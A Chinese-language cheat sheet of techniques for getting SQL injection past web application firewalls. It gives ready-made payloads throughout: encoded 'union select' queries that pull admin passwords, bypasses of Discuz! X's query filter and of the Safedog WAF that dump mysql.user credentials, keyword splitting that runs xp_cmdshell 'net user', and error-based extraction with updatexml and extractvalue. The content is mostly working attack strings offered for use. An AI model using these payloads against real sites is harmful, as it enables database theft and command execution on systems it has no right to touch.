一些绕过 waf 的笔记

1.各种编码绕过

1.1.Url 编码

```
?id=1  union select pass from admin limit 1
?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
```

1.2.Unicode 编码

```
?id=1  union select pass from admin limit 1
?id=1  un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
```

1.3.针对 disucz x 内置_do_query_safe()的绕过

```
gid=1 and  1=2 union select 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from  mysql.user  拦截

gid=1 and  1=2 union /*!50000select*/  1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user  绕过 disucz  x2.0

gid=@``  union select @``,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14  from mysql.user  绕过 disucz x2.5

gid=``  or @`'` union select 1 from (select count(*),concat((select  database()),floor(rand(0)*2))a from information_schema.tables group by a)b where  @`` 绕过 disucz x2.5 二次修补
```

这里我引入了`’ `用来隐藏第一个@字符，并将第一个@`’ `替换为@`’ ’ `，这样便可以替换掉第二个@

2.早期安全狗的绕过

2.1.NULL 字节截断突破

安全狗本身对 xx.asp?id=69 and 1=1 和 xx.asp?id=69 and 1=2 这些是过滤的，可是对 xx.asp?0day5.com=%00.&xw_id=69%20 and 1=1 和 xx.asp?0day5.com=%00.&xw_id=69%20 and 1=2 却是正常，直接丢到工具就 OK 了。

//%00 相当于 NULL, null 字符截断吧，WAF 在 parse url 参数的时候被截断了

2.2.对编码绕过

使用 u%n%i%o%n+s%e%l%e%cT 很少成功，虽然绕过了

2.3.利用复参

```
http://hack.myclover.org/pentration/4/yinmou.php?id=4
http://hack.myclover.org/pentration/4/yinmou.php?id=1&id=1/**/And/**/1=2/**/Union/**/Select/**/1,concat%28database%28%29,0x3a,user%28%29,0x3a,version%28%29%29,3
```

3.最新过狗

把空格使用/**/来替换

and 使用 a%n%d 来替换

from 打乱，就是类似 f%u0072om

agent 代理:使用百度或者是谷歌的 agent 代理（google 蜘蛛：Googlebot 百度蜘蛛：Baiduspider）

4.关键字拆分绕过

cnseay.com/1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell” net user”’)

5.请求方式差异规则松懈性绕过

GET /id=1 union select 1,2,3,4 —拦截

POST id=1 union select 1,2,3,4 —绕过

6.冷门函数/标签绕过

/1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

/1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));